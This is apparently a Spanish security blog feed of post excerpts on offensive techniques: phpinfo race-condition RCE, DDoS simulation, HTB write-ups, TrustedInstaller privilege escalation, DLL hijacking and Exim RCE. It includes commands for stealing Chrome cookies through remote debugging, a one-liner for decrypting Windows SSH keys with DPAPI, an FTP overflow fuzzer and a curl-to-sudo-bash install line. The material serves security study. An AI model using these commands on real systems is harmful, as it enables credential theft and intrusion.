De una condición de carrera + LFI en phpinfo() a RCE

El indonesio Agus Setya R publicó una interesante técnica mediante la cual conseguía un RCE explotando una condición de carrera en phpinfo() en conjunción con un LFI.

¿Por qué puede ser peligrosa una simple página phpinfo()? Además de contener información muy sensible del servidor, resulta que phpinfo también puede manejar peticiones http como POST, GET, FILES y otros. Si enviamos una petición FILES a phpinfo, la petición se guardará en un archivo temporal durante un periodo de tiempo muy corto.

Gynvael Coldwind escribió un impresionante artículo sobre una Condición de Carrera que puede ser explotada usando la función de Subida de Archivos en PHP. Por cierto, php 5.5.9 es vulnerable a este problema.

Si cargamos un archivo, los datos se almacenan en un archivo temporal. Es decir, podemos insertar un archivo y luego llamar al archivo utilizando una vulnerabilidad del tipo LFI (Inclusión de archivos locales). Sin embargo, este proceso debe realizarse en un tiempo muy, muy rápido, antes de que el sistema elimine automáticamente el archivo temporal.
Archivo temporal creado como resultado de subir en phpinfo.

El escenario de ataque necesita por tanto multihilo para que el proceso llevado a cabo por el script del exploit pueda ser muy rápido. Lo que se hace es crear archivos temporales los cuales seguramente no se acumularán en el servidor porque en segundos desaparecerán rápidamente. En el proceso, se realiza una petición utilizando el LFI. Si de uno de los archivos temporales se llama con éxito entonces basta con que sea nuestro payload para obtener la preciada shell.

Writeup: http://dann.com.br/php-winning-the-race-condition-vs-temporary-file-upload-alternative-way-to-easy_php-n1ctf2018/
Exploit Code: https://gist.githubusercontent.com/intrd/35483ae252c66ee3d11f7acfa7379749/raw/76488b0d95a9fd7e5a2bd3c8bbc929a45590238f/phpinfo_exploit.py
Fuente: https://medium.com/@agussetyar/local-file-inclusion-via-phpinfo-exploit-race-condition-to-remote-code-execution-6d5470445afe

BoNeSi: simular una botnet para pruebas DDoS

BoNeSi es una herramienta para simular el tráfico de una Botnet con el objetivo de estudiar el efecto de los ataques DDoS.

¿Qué tráfico puede generar? Pues BoNeSi genera ataques de flooding ICMP, UDP y TCP (HTTP) simulando ser una botnet de un tamaño definido (diferentes direcciones IP). BoNeSi es altamente configurable y se pueden configurar distintos ratios, volumen de datos, direcciones IP de origen, URL y otros parámetros.

¿Qué lo hace diferente de otras herramientas? Existen muchas otras herramientas para falsificar direcciones IP con UDP e ICMP, pero para TCP no existe una solución. BoNeSi es la primera herramienta para simular floods HTTP-GET de redes de bots a gran escala. BoNeSi también trata de evitar generar paquetes con patrones fáciles de identificar (que se pueden filtrar fácilmente).

¿Dónde se puede ejecutar BoNeSi? Hasta su autor, Markus Goldstein, recomienda encarecidamente ejecutar BoNeSi en un entorno de prueba cerrado. Sin embargo, los ataques UDP e ICMP también pueden ejecutarse en Internet, pero se debe tener cuidado. Los ataques HTTP-Flooding no se pueden simular en Internet, porque las respuestas del servidor web deben enrutarse al host que ejecuta BoNeSi.

¿Cómo funciona TCP Spoofing? BoNeSi busca paquetes TCP en la interfaz de red y responde a todos los paquetes para establecer conexiones TCP. Para esta función, es necesario que todo el tráfico del servidor web de destino se enrute de nuevo al host que ejecuta BoNeSi

¿Qué tan bueno es el rendimiento de BoNeSi? Se centran mucho en el rendimiento para simular grandes botnets. En un AMD Opteron con 2Ghz pudieron generar hasta 150.000 paquetes por segundo. En un AMD Phenom II X6 1100T más reciente con 3,3 Ghz, puede generar 300.000 pps (que se ejecutan en 2 cores).

¿Son exitosos los ataques BoNeSi? Sí, son muy exitosos. Los ataques UDP/ICMP pueden saturar fácilmente el ancho de banda y los ataques HTTP-Flooding tiran rápidamente los servidores web. También probaron BoNeSi contra sistemas de mitigación DDoS comerciales de última generación y pudieron bloquearlos u ocultar el ataque para que no fuera detectado.

[HTB-writeup] Hawk

En este post haremos la máquina Hawk de HackTheBox. Es una maquina Linux de nivel medio. Mi nick en HackTheBox es: manulqwerty. Si tenéis alguna proposición o corrección no dudéis en dejar un comentario, así aprendemos todos.

Enumeración

Como siempre, lo primero sera un escaneo puertos con nmap:

nmap 10.10.10.102


Antes de nada vamos a echarle un ojo a la web:


Es un drupal, antes de seguir indagando en esto vamos a revisar otros servicios.

GetSystem() - TrustedInstaller (Parte 2)

Hola! retomamos la impersonalización. Conociendo ya como trabaja el servicio TrustedInstaller, ahora es sencillo de entender como podemos conseguir ser "NT System" en nuestra máquina desde un usuario administrador.

Como primer apunte, TI no es un servicio PPL (Protected Process Light), sin embargo, el grupo al que pertenece posee permisos para parar y borrar otros servicios PPL, encontrándose este extraño "bug" en los límites de seguridad, y como tal no ha sido corregido.

Para estas pruebas es necesario instalar el módulo NtObjectManager en nuestra máquina:
Éste añade distintos cmdlets para poder acceder al espacio de nombres del administrador de objetos NT.

Desde una consola de administrador, abrimos el proceso TI y comprobamos con SeDebugPrivilege si el token esta "abierto".

PS C:\> Install-Module -Name NtObjectManager
PS C:\> Set-NtTokenPrivilege SeDebugPrivilege


El padre de nuestro nuevo proceso es el que llama al CreateProcess, sin embargo, UAC trata a todos los procesos elevados como si fueran procesos hijos del servicio de UAC. Si no se especifica un token, el nuevo proceso lo heredará del padre asignado. El único requisito para esto es que el identificador del proceso que usamos como padre debe tener la propiedad de derechos de acceso PROCESS_CREATE_PROCESS.

Con SeDebugPrivilege podemos obtener acceso completo al proceso de TI, incluido el derecho a crear nuevos procesos secundarios a partir de él.

Set-NtTokenPrivilege SeDebugPrivilege
Start-Service TrustedInstaller
$p = Get-NtProcess -Name TrustedInstaller.exe
$t = $p.OpenToken()
$t.Groups | Where-Object {$_.Sid.Name -match 'TrustedInstaller'}

GetSystem() - TrustedInstaller (Parte 1)

Como es bien sabido, una de las técnicas más utilizadas para la elevación de privilegios es mediante el "abuso" de Tokens y ACL (Access Control List) dentro nuestro querido Microsoft Windows. En este post hablaré un poco acerca del servicio de instalación de módulos TrustedInstaller.exe, que forma parte del WRP (Windows Resource Protection) disponible desde los tiempos de Windows Vista.

Esta protección es la encargada de restringir el acceso a ciertos archivos del core del sistema, carpetas y claves de registro, además de impedir que archivos .dll, .exe, .ocx y .sys se modifiquen o se reemplacen.

Echando un rápido vistazo a las propiedades de la calculadora, vemos que el control total sobre esta recae sobre nuestro amigo TrustedInstaller:


Mientras que nosotros, siendo administradores, no podemos modificar el archivo ni procesos que corren sobre ésta, pertenecientes al NT System.

[ebook gratuito] "Practical Cryptography for Developers"

Criptografía practica para Desarrolladores, en inglés 'Practical Cryptography for Developers', es un libro práctico y moderno con ejemplos de código, que abarca conceptos básicos como: hashes (como SHA-3 y BLAKE2), códigos MAC (HMAC y GMAC), funciones de derivación de clave (Scrypt, Argon2), protocolos de acuerdo de clave (DHKE, ECDH), cifrados simétricos (AES y ChaCha20, modos de bloque de cifrado, cifrado autenticado, AEAD, AES-GCM, ChaCha20-Poly1305), cifrados asimétricos y criptografía de clave pública (ECC, secp256k1, curve25519), firmas digitales (ECDSA y EdDSA), números aleatorios seguros (PRNG, CSRNG) y criptografía de seguridad cuántica, junto con bibliotecas criptográficas y herramientas de desarrollo, con muchos ejemplos de código en Python y otros lenguajes.

Autor: Svetlin Nakov, PhD - http://www.nakov.com

Web: https://cryptobook.nakov.com/

Repo GitHub oficial: https://github.com/nakov/practical-cryptography-for-developers-book

Sheepl: crear un comportamiento de usuario realista en entornos de laboratorio

Hay muchos recursos online relacionados con la forma en que se pueden crear entornos de red de DA para la formación de red teams y blue teams. Sin embargo, las soluciones actuales tienden a carecer de un aspecto importante al representar configuraciones de red del mundo real. Una red no es solo una colección de puntos finales estáticos, es una plataforma para la comunicación entre personas.

Sheepl es una herramienta que ha creado SpiderLabs que apunta a cerrar la brecha emulando el comportamiento que las personas normalmente emprenden dentro de un entorno de red. Se trata de un script en Python3 y AutoIT3, este último -por si alguno no lo conocía- un lenguaje freeware multipropósito de automatización para Microsoft Windows. La salida se puede compilar en un ejecutable sin dependencias (standalone) que cuando se ejecuta en un punto final de Windows, llama a un conjunto de tareas aleatoriamente en el periodo de tiempo deseado.

Para los red teamers, esto puede servir para representar ciertos momentos oportunos para practicar. Para los blue teamers, esto es compatible con la detección de indicadores de actividad maliciosos dentro de una secuencia de tareas de usuario benignas.

Sheepl tiene dos modos de funcionamiento, en línea de comandos o interactivo, la primera se puede usar como parte de una solución de scripting más amplia y la segunda permite crear tareas en un enfoque de preguntas/respuestas.

Ejemplos

python3 sheepl.py --name TBone --total_time=2h --wordfile "c:\\users\\matt\\Desktop\\matt.doc" --inputtext "content/if.txt" --cmd --cc "ipconfig /all" --cc "whoami" --cc "netstat -anto -p tcp"')

python3 sheepl.py --interactive

En el siguiente video se muestra una descripción general de la versión beta de Sheepl 0.1:


Repositorio: https://github.com/SpiderLabs/sheepl

Love Fuzzing: un "wfuzz" para el móvil

Hola de nuevo mis pacientes. Dado que esta comunidad me ofrece la oportunidad, hoy quería hablaros de una aplicación con un precioso nombre: Love Fuzzing.

Se trata de una aplicación para Android con la que podréis fuzzear directorios de un sitio web mientras esperáis en la consulta médica. Es decir, se trata de un “wfuzz” para el móvil, una simple herramienta (little BIG Tools) hecha por el equipo de Ninvus, que nos ayudará a encontrar archivos y directorios mediante peticiones GET. Nada del otro mundo (o sí).

Lo primero que hay que decir, y de verdad que se agradece, es la interfaz minimalista, ágil y útil. nada de publicidad, solicitud de permisos que no vienen a cuento y demás mierdas que me ponen nervioso: cuatro botones, una barra de texto y no quiero más.


Cookie_crimes en JS + one-liners para robar las cookies de Chrome

Cookie_crimes de @mangopdf es una herramienta capaz de robar las cookies de Chrome de un usuario y, por lo tanto, iniciar sesión en todos los sitios web en los que se haya autenticado.

Funciona lanzando Chrome en modo headless (en consola) y levantándolo en modo de depuración remota, usando el mismo user-data-dir que la víctima (el directorio donde se almacenan contraseñas, historial etc. Por ej.
/Applications/Google\ Chrome.app/Contents/MacOS/Google\ Chrome \
--headless \
--user-data-dir="$HOME/Library/Application Support/Google/Chrome/" \
https://gmail.com \
--remote-debugging-port=9222

Esto pondrá a la escucha el debugging remoto en localhost:9222 (el puerto predeterminado para la depuración remota de Chrome) esperando cualquier websocket. Si se ejecuta el comando 'Network.getAllCookies' obtendremos el preciado botín:
wsc ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A
Connected to ws://localhost:9222/devtools/page/7404BF41DC4E7512E0431577BABCE18A
>
>{"id": 1, "method": "Network.getAllCookies"}
[{
    "domain": "mail.google.com",
    "expires": -1,
    "httpOnly": false,
    "name": "GMAIL_AT",
    "path": "/mail/u/0",
    "secure": true,
    "session": true,
    "size": 42,
    "value": <unencrypted cookie value appears here>
  },
  ...<the rest of the cookies>

Como veis, Chrome nos da las cookies sin necesidad de la contraseña de Chrome Safe Storage, y sin necesidad de ser root, o conocer la contraseña del usuario.

[HTB old-but-gold write-ups] Brainfuck

Buenas a todos!
Hoy vengo con un write-up de una máquina de HTB retirada y muy antigua pero que creo que merece la pena echarle un ojo por las distintas técnicas que se utilizarán: Brainfuck.


Durante el proceso, aprenderemos acerca de exploiting en Wordpress, mail servers, cifrados Vigenere, bruteforce de claves SSH y técnicas para desencriptar claves RSA.
Vamos con ello!

Extrayendo las claves privadas SSH del ssh-agent de Windows 10

Desde Abril de este año Windows 10 incluye OpenSSH de forma nativa, así que ya no es necesario usar Putty ni las claves con formato PPK. Pero, ¿es seguro cómo Windows almacena las claves privadas SSH?

Pues las claves privadas se almacenan en la sección de registro de HKCU (HKCU\Software\OpenSSH\Agent\Keys) y están protegidas con DPAPI (Data Protection API)... y se puede descifrar simplemente con este one-liner de Atif Aziz:

Add-Type -AssemblyName System.Security;
[Text.Encoding]::ASCII.GetString([Security.Cryptography.ProtectedData]::Unprotect([Convert]::FromBase64String((type -raw (Join-Path $env:USERPROFILE foobar))), $null, 'CurrentUser'))

Así que el americano Ronnie Flathers aka @ropnop ha juntado esta información para demostrar que es posible extraer y reconstruir la clave privada RSA del registro y ha publicado el código necesario para llevarlo a cabo. ¡Vamos ha probarlo!

Primero generamos una clave privada en nuestro cliente Windows 10 para posteriormente llevar su par al servidor SSH:


Añadimos la clave privada a nuestro agente ssh:


Ahora obtenemos la clave del registro (base64):


Y finalmente extraemos la clave privada RSA desde el json obtenido:

# python3 extractPrivateKeys.py extracted_keyblobs.json


 Fuente: Extracting SSH Private Keys from Windows 10 ssh-agent

CVE-2018-8589 o una condición de carrera que permite escalar privilegios en Windows

En octubre de 2018, los sistemas de Prevención de Explotación Automática (AEP) de Kaspersky detectaron un intento de explotar una vulnerabilidad en Windows que un análisis posterior confirmó como un nuevo 0-day que afectaba específicamente a win32k.sys. El exploit fue ejecutado por el primer stage de un instalador de malware para obtener los privilegios necesarios para la persistencia en el sistema de la víctima y fue detectado en varios ataques dirigidos en países del Este.

La vulnerabilidad, corregida por Microsoft el pasado martes, fue bautizada como CVE-2018-8589 y permite a un atacante elevar privilegios en un Windows 7 o Windows Server 2008. Se trata de una condición de carrera presente en win32k!XxxMoveWindow debido a un bloqueo incorrecto de los mensajes enviados de forma sincrónica entre threads.

El exploit crea dos threads, uno para una clase y otro para una ventana asociada. Luego mueve la ventana del thread opuesto dentro de la devolución de llamada de un mensaje WM_NCCALCSIZE en un procedimiento de ventana que es común a ambos.

Mensaje WM_NCCALCSIZE en win32k!XxxCalcValidRects

Arjun: herramienta para el descubrimiento de parámetros web

Arjun es una herramienta para python 3.4 o superior que nos ayudará en el descubrimiento de parámetros web. Sus características principales son:
  • Multihilo
  • 3 modos de detección
  • Escaneo heuristico regex
  • Enorme lista de nombres de parámetros (3370) de @SecLists

Descubrimiento de parametros

Para encontrar parámetros GET, puedes simplemente hacer:

python3 arjun.py -u https://api.example.com/endpoint --get

Del mismo modo, usa --post para encontrar parámetros POST.

Multihilo

Arjun usa 2 hilos de forma predeterminada, pero se puede ajustar su rendimiento de acuerdo con la conexión de red.

python3 arjun.py -u https://api.example.com/endpoint --get -t 22

Delay entre peticiones

Se puede ajustar el delay de las peticiones utilizando la opción -d de la siguiente forma:

python3 arjun.py -u https://api.example.com/endpoint --get -d 2

Añadiendo encabezados HTTP

Al usar el parámetro --headers se abrirá un prompt interactivo donde se pueden pegar encabezados HTTP. Ctrl + S para guardar y Ctrl + X para procesar.


Nota: Arjun usa nano como editor predeterminado para el prompt, pero se puede cambiar en /core/prompt.py.

Github: https://github.com/s0md3v/Arjun

[HTB Write-up] Reel

Volvemos con una nueva entrega de write-ups de HTB, en este caso Reel, una máquina Windows con mucha sabrosura y que nos enseñará bastante tela acerca de DA, Powershell y de cómo aprovechar privilegios heredados. ¡Vamos allá!
 
Scanning

Como siempre, empezamos con un SYN scan para descubrir puertos abiertos de la forma más rápida y sigilosa posible. Tras esto, podemos comprobar las versiones y ejecutar scripts NSE seguros.

-sS

Publican un 0-day en VirtualBox que permite escaparse de la máquina virtual y ejecutar código en el host

El investigador ruso Sergey Zelenyuk ha publicado información detallada de un zero-day en VirtualBox 5.2.20 y versiones anteriores que puede permitir a un atacante escapar literalmente de un máquina virtual y ejecutar código en ring 3 en el host. Luego se pueden usar las tradicionales técnicas para escalar privilegios a ring 0 vía /dev/vboxdrv.

Sergey, en total desacuerdo con la respuesta de Oracle en su programa de bug bounty y con el "mercadeo" actual de vulnerabilidades, ha publicado también un video con la PoC que muestra el 0-day en acción contra una máquina virtual de Ubuntu que se ejecuta dentro de VirtualBox en un sistema operativo host también de Ubuntu.


VirtualBox E1000 Guest-to-Host Escape from Sergey Zelenyuk on Vimeo.

La vulnerabilidad es un buffer overflow que se provoca en el proceso de escritura de los descriptores Tx a la tarjeta de red. El único requisito es tener configurado la VM con el adaptador de red Intel PRO/1000 MT Desktop (82540EM) en modo NAT, que es la configuración por defecto que trae VirtualBox. Cualquier SO en la máquina virtual y en el host son vulnerables.

Tenéis el detalle técnico explicado perfectamente en su repositorio de Github:

https://github.com/MorteNoir1/virtualbox_e1000_0day/

Anuncian el CTF 2018 Metasploit Community

La gente de Rapid7 ha anunciado hoy su "Metasploit Community CTF" en el que se pondrán en liza dos objetivos que mil equipos intentarán comprometer durante los tres días que dura la competición.

La inscripción se abre el lunes 12 de noviembre a las 12.00 AM EST (a las 6:00 GMT+1 si no me equivoco) y, como comentamos, hay disponibles hasta 1000 registros; tanto personas individuales como equipos. Si optáis por este último caso tened en cuenta que los equipos solo necesitan registrar UNA única cuenta. Los miembros del equipo pueden y deben compartir las credenciales.

El CTF empezará el viernes 30 de noviembre a las 11:59 AM EST (a las 5:59 GMT+1) hasta el lunes 3 de diciembre a la misma hora.

Cuando comience el juego, los jugadores deben usar las instrucciones disponibles en el Panel de control para conectarse a un equipo de salto con Kali Linux. Desde allí, los jugadores pueden atacar los entornos vulnerables para encontrar las flags. Todas las flags son imágenes PNG, cuando se encuentre una, los jugadores deben enviar el hash MD5 al dashboard. Si el hash MD5 es correcto, se otorgarán puntos. Podéis ver los resultados y las estadísticas del CTF del año pasado aquí.

Los tres participantes con la puntuación total más alta al final recibirán los siguientes premios. En caso de empate, el participante que haya alcanzado ese puntaje primero será el ganador.

PosiciónPremioValor (no reembolsable)
1stHak5 Essentials Field Kit$220 USD
2ndHak5 Network Implant Bundle$150 USD
3rdHak5 WiFi Pineapple (NANO Tactical)$130 USD

Para formar equipos y hablar con otros jugadores podéis uniros al canal #ctf-support-2018 en Metasploit Slack. Tenéis el anuncio del CTF y más información en la página oficial:

https://blog.rapid7.com/2018/11/05/announcing-the-2018-metasploit-community-ctf/

Tsurugi Linux, nueva distro de DFIR

Tsurugi es una nueva distribución Linux bajo licencia GNU diseñada para soportar investigaciones de DFIR, análisis de malware y actividades de inteligencia.
 

En esta distribución se incluyen las últimas versiones de las herramientas más famosas que se necesitan para llevar a cabo una investigación forense o de respuesta a incidentes en profundidad y varias características útiles como el bloqueo de escritura de dispositivos a nivel del kernel, un selector de perfiles OSINT y mucho más.

El sistema se basa en un Ubuntu LTS de 64 bits (Long Time Support) y usan la versión 16.04 para tener un sistema estable con más herramientas compatibles, aunque tienen en su hoja de ruta una actualización a la versión 18.04 LTS para el próximo año. También tienen un repositorio dedicado.

El kernel parcheado se basa en la versión 4.18.5 reciente que implementa muchos controladores y características nuevos. Se puede usar Tsurugi Linux [LAB] en modo live-cd, pero su objetivo principal es instalarse y convertirse en su laboratorio forense

Web: https://tsurugi-linux.org/

DOWNLOAD MIRROR

LAST RELEASES INFORMATION

Tsurugi Linux [64-bit]
Filename: tsurugi_lab_2018.1.iso
sha1: b54895db6fba93239b668edb9f5ef02bef975b40

Tsurugi Acquire [32-bit]
Filename: tsurugi_acquire_2018.1.iso
sha1: f16ad3bc9669efcb22a9859a09598ca12c060d78

Bento portable toolkit
Filename: pronto disponible
sha1: pronto disponible

Robber: una herramienta para buscar ejecutables susceptibles a DLL hijacking

Robber es una herramienta de código abierto desarrollada en Delphi XE2 sin dependencias de terceros que permite buscar los ejecutables del sistema susceptibles a DLL hijacking o secuestro de DLL, una vulnerabilidad ya bastante antigua pero que todavía sigue activa en nuestros días.


Como va vimos en el blog:

"Cuando una aplicación mediante LoadLibrary() o LoadLibraryEx() intenta cargar funciones adicionales enlazando en tiempo real con una librería dinámica y no se especifica su ruta completa, Windows define como primer orden de búsqueda de la DLL el directorio actual del proceso: http://msdn.microsoft.com/en-us/library/ms682586%28v=VS.85%29.aspx.

Si un usuario abre un fichero legítimo mediante una aplicación afectada y en el mismo directorio se encuentra una DLL maliciosa (renombrada como la original), un atacante podría conseguir la ejecución de código arbitrario a través de la carga de esa librería modificada.
"

Si la DLL no se encuentra en el directorio de trabajo de la aplicación o "." (opción A o prioridad más alta, primera comprobación) las rutas de búsqueda siguientes son:

B) \Windows
C) \Windows\system32
D) \Windows\syswow64
  <- prioridad más baja, última comprobación
 
Por ejemplo, si algunos ejecutables "Foo.exe" solicitan "bar.dll" que está el directorio syswow64 (D) esto nos dará una buena oportunidad para colocar una versión maliciosa en A), B) o C) y se cargará en el ejecutable. Incluso una ruta completa absoluta no puede proteger contra esto si se puede reemplazar la DLL con una versión modificada.

PowerShell is dead...? Not today my friend!

Hoy vamos a hablar de POWERSHELL, y digo vamos porque todas estas pruebas las he hecho con mi buen compañero pwner @Wint3r.

Últimamente se está escuchando mucho la palabra C# (o Csharp) y se habla de cómo el uso ofensivo de PowerShell está muriendo poco a poco. ¿La razón? Microsoft está poniendo mucho énfasis en detectar el uso malicioso de su lenguaje. A continuación vamos a ver cómo.

SEGURIDAD EN POWERSHELL

Posiblemente en algún momento nos hayamos encontrado con mensajes como los siguientes a la hora de pwnear:




Debemos tener mas o menos claro lo que significa cada uno de ellos:

Execution Policies

Las políticas de ejecución determinan cómo va a funcionar PowerShell en lo referente a cargar ficheros de configuración o correr scripts. Este tipo de políticas se pueden establecer para un usuario, una sesión, una máquina... o inclusive crear una política de grupo para organizar una serie de máquinas y usuarios.
Dentro de las políticas de ejecución nos interesan principalmente dos: Restricted y Bypass (como imaginaremos, vamos a buscar tener la política Bypass y evitar la Restricted)

Más info: https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_execution_policies?view=powershell-6
  • Get-ExecutionPolicy # Ver la política de nuestra sesión actual
  • Set-ExecutionPolicy -ExecutionPolicy <PolicyName> # Establecer política (requiere Admin)
>> Normalmente no vamos a tener problema para cambiar la política de ejecución, ya que no es una "medida de seguridad" como tal. Si bien Set-ExecutionPolicy necesita admin, podemos solucionar este problema creando una nueva sesión con nuestra política en Bypass:


Taller de exploiting: BoF básico en Windows - FreeFloat FTP Server

El año pasado más o menos por estas fechas empezamos a publicar una serie de entradas para iniciarse en el mundo del exploiting en Windows con un desbordamiento de búfer sencillo pero a la par muy útil para entender el funcionamiento de la pila y usar un debugger como Immunity. Hoy no vamos a detallar tanto los pasos como en los posts anteriores pero si vamos a repetir este tipo de ejercicio, sobretodo para todos aquellos que se están preparando para el OSCP ya que normalmente se toparán en el examen con algo similar.

La aplicación que explotaremos hoy será un viejo server FTP llamado Freefloat FTP Server, vulnerable a un desbordamiento en la entrada de datos de USER. Tenéis el exploit público en EDB:

Freefloat FTP Server - 'USER' Remote Buffer Overflow

https://www.exploit-db.com/exploits/23243/


Para este ejercicio lo haremos lo más esquemático posible:

- Reproduciendo el problema
- Controlando el EIP
- Espacio para el shellcode
- Eliminando badchars
- Redireccionando la ejecución (JMP ESP)
- Generando el shellcode

Reproduciendo el problema

Lo primero como siempre será “inundar” el parámetro vulnerable para comprobar que, efectivamente, el servidor “peta” al pasarle un montón de A's:
import sys, socket
from time import sleep

target = sys.argv[1]

buff = '\x41'*50

while True:
  try:
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.settimeout(2)
    s.connect((target,21))
    s.recv(1024)
    print "Sending buffer with length: "+str(len(buff))
    s.send("USER "+buff+"\r\n")
    s.close()
    sleep(1)
    buff = buff + '\x41'*50

  except:
    print "[+] Crash occured with buffer length: "+str(len(buff)-50)
    sys.exit()

El resultado será el "crash" de la aplicación casi inmediato:

portforge.cr o cómo abrir numerosos puertos "falsos" en nuestro servidor

¿Eres un "azulón" y quieres tocar los... la moral al pobre pentester que intenta enumerar los servicios de tu servidor para comprometerlo?
Con portforge.cr podrás abrir tantos sockets como quieras de forma que cuando alguien escanee tu servidor verá un montón de puertos abiertos, haciendo tedioso encontrar aquellos que realmente son válidos.
Digamos que es un pequeño paso para vencer o dificultar el reconocimiento.

Portforge es realmente un script escrito en Crystal (un lenguaje de programación muy parecido a Ruby) y utiliza una técnica incorporada en su compilador llamado Fibers. Se parecen mucho a los hilos del sistema, pero Fibers es mucho más ligero y la ejecución se gestiona a través del proceso 1.

portforge.cr puede abrir tantos puertos como quieras entre 1024 y 65535. También funciona por debajo de 1024, pero para eso tienes que ser un usuario root. Cuanto mayor sea el rango que elijas, más tardará el script en cargar cada socket, pero la herramienta está bastante optimizada y solo debería tomar un par de minutos (según el sistema, por supuesto).

El script funciona en 2 pasos: primero realiza su propio escaneo en el sistema para ver qué puertos ya están abiertos y los puertos abiertos se colocan en una lista y los puertos cerrados en otra. El siguiente paso es abrir los puertos cerrados, por lo que el script selecciona la lista con todos los puertos cerrados y abre un socket en cada uno de ellos.

Mientras que la denominada "fibra" principal está abriendo un socket en cada puerto, se llama a otra "fibra" por debajo del principal que escucha las conexiones entrantes y las cierra directamente. Este proceso se repite indefinidamente, o hasta que interrumpa el script.

Instalación y uso

Crystal:

$ curl -sSL https://dist.crystal-lang.org/apt/setup.sh | sudo bash
$ sudo apt install crystal

Opcional:
sudo apt install libssl-dev      # for using OpenSSL
sudo apt install libxml2-dev     # for using XML
sudo apt install libyaml-dev     # for using YAML
sudo apt install libgmp-dev      # for using Big numbers
sudo apt install libreadline-dev # for using Readline

$ git clone https://github.com/Beyarz/portforge.cr.git

$ cd portforge.cr

$ crystal portforge.cr
[-] Argument: /home/vmotos/.cache/crystal/crystal-run-portforge.tmp host start end
[-] Example:  /home/vmotos/.cache/crystal/crystal-run-portforge.tmp localhost 4440 4445

$ crystal portforge.cr localhost 5430 5450
[!] Scan started.
[+] 99.63% done.
[!] Scan finished.
[+] Forging started.
[+] The ports should be open now.
[!] To end this proccess you have to interrupt it.

SharpSploitConsole, usando nuestra DLL favorita a lo ninja

Hace unos días @anthemtotheego publicaba una nueva herramienta hecha en C# para interactuar directamente con la DLL generada por Sharpsploit, la cual nos permite crear un pequeño .EXE que contiene la librería SharpSploit.dll y System.Management.Automation.dll.
La sencillez de esta herramienta hace posible su modificación a nuestra conveniencia, pudiendo utilizarla con nuestras propias técnicas y herramientas ninjas, cosa que el autor menciona y hace hincapié.


Tras el parche de Microsoft, los equipos actualizados ya detectaban SharpSploit.dll pero utilizando esta herramienta parece que solo algunos antivirus son capaces de hacerlo y solo mediante heurística. En las pruebas que he hecho el Security Essentials se lo traga.

A continuación veamos como compilar correctamente el SharpSploit:

Grave vulnerabilidad en EXIM pone en peligro miles de servidores de correo (CVE-2018-6789)

El 6 de marzo de 2018, "meh" publicó el detalle de una vulnerabilidad clasificada como CVE-2018-6789 que afecta a todas las versiones de Exim inferiores a 4.90.1, es decir, una vulnerabilidad activa ¡desde 1995!. Y se trata, nada más y nada menos, de una ejecución remota de código sin autenticación previa debido a un fallo en la función de decodificación base64 de este popular MTA, concretamente un error de cálculo off-by-one en la longitud del búfer al decodear base64 en la función "b64decode" en base64.c:
int
b64decode(uschar *code, uschar **ptr)
{
int x, y;
uschar *result = store_get(3*(Ustrlen(code)/4) + 1);

*ptr = result;
… rest of the base64 decoding algorithm …

Una cadena codificada en base64 de 4N + 3 de longitud asignará un búfer de tamaño 3N + 1, pero consumirá 3N + 2 bytes de la decodificación. Esto permite que la memoria del heap se sobrescriba al analizar la cadena base64. Tenéis otro buen análisis de la vulnerabilidad aquí.

Hasta ahora habíamos tenido ya algún PoC, pero recientemente hackk.gr ha publicado en EDB un exploit totalmente funcional que afecta a las versiones de Exim inferiores a la 4.90 y que ha sido probado en debian exim 4.89 y ubuntu exim 4.86_2... y, para que os hagáis una idea, Shodan arroja un resultado de casi un millón de servidores potencialmente vulnerables:
Sólo hay que tirar el exploit y ser pacientes... al final la shell reversa vendrá a nosotros...


Happy hunting!

Bitcracker: la primera herramienta opensource para crackear volúmenes cifrados con BitLocker

BitCracker es la primera herramienta open source para crackear dispositivos de almacenamiento (discos duros, pendrives USB, tarjetas SD, etc.) cifrados con BitLocker, ya sabéis, una función de cifrado disponible en Windows Vista, 7, 8.1 y 10 (Ultimate, Pro y Enterprise).

BitLocker ofrece varios métodos de autenticación diferentes para cifrar un dispositivo de almacenamiento como Trusted Platform Module (TPM), tarjeta inteligente, contraseña de recuperación o contraseña proporcionada por el usuario. Mediante un ataque de diccionario, BitCracker intenta encontrar la contraseña de usuario o la contraseña de recuperación correctas para descifrar el dispositivo de almacenamiento cifrado. Se ha implementado en CUDA y OpenCL.

Requisitos

Para ejecutar BitCracker-CUDA, los requisitos mínimos son:

- una GPU NVIDIA con CC 3.5 o posterior
- CUDA 7.5 o posterior

Para ejecutar BitCracker-OpenCL, los requisitos mínimos son cualquier GPU o CPU que admita OpenCL.

BitCracker requiere al menos 260 MB de memoria del dispositivo.

Se recomienda encarecidamente ejecutar su ataque en una GPU en lugar de CPU por razones de rendimiento.

Instalación

La ejecución del script build.sh genera 4 archivos ejecutables dentro del directorio build: bitcracker_hash, bitcracker_rpgen, bitcracker_cuda, bitcracker_opencl.

Para crear bitcracker_cuda de forma coherente con nuestra GPU NVIDIA y la versión de CUDA que tengamos debemos modificar src_CUDA/Makefile y elegir la versión SM correcta. Como referencia, se puede utilizar la siguiente tabla:

GPU Architecture Suggested CUDA Makefile
Kepler CUDA 7.5 arch=compute_35,code=sm_35
Maxwell CUDA 8.0 arch=compute_52,code=sm_52
Pascal CUDA 9.0 arch=compute_60,code=sm_60
Volta CUDA 9.0 arch=compute_70,code=sm_70

DELYSID ANN - Perceptrón Multicapa JAVA MACHINE LEARNING

https://github.com/DanielRosillo/Delysid-ANN

En esta ocasión les comparto las estructuras para modelar una red neuronal y entrenarla mediante Machine Learning, cabe destacar que es completamente POO y incluye un Demo funcional. El código de la red es escalable y adaptable.

ESPECIFICACIONES DEL AGENTE

    • CONEXIONISTA.
    • PERCEPTRON MULTICAPA.
    • APRENDIZAJE SUPERVISADO.
    • FEED-FORWARD.

ENTORNO

    • Java 10.
    • Eclipse Photon.
CONTEXTO

Los procesos mentales permiten a los agentes responder a estímulos del mundo exterior, este mecanismo internamente representa el conocimiento a través de complejas estructuras que mapean la información, resultado de las percepciones del agente a lo largo del tiempo. El conexionismo aborda esta manera de representar la realidad, más en concreto en el ámbito de la inteligencia artificial se estudia la aplicación que tiene para resolver problemas.
La estrategia conexionista se centra principalmente en la filosofía divide y vencerás, apoyándose en modelos lógico-matemáticos cuya relación final es intrínseca al problema, y que, al implementarse en tiempo de ejecución, desencadena una serie de hechos y acciones que de estar en perfecta armonía darán como resultado el aprendizaje automático.

RCE en receptores satélite Linux (y sin despeinarse)

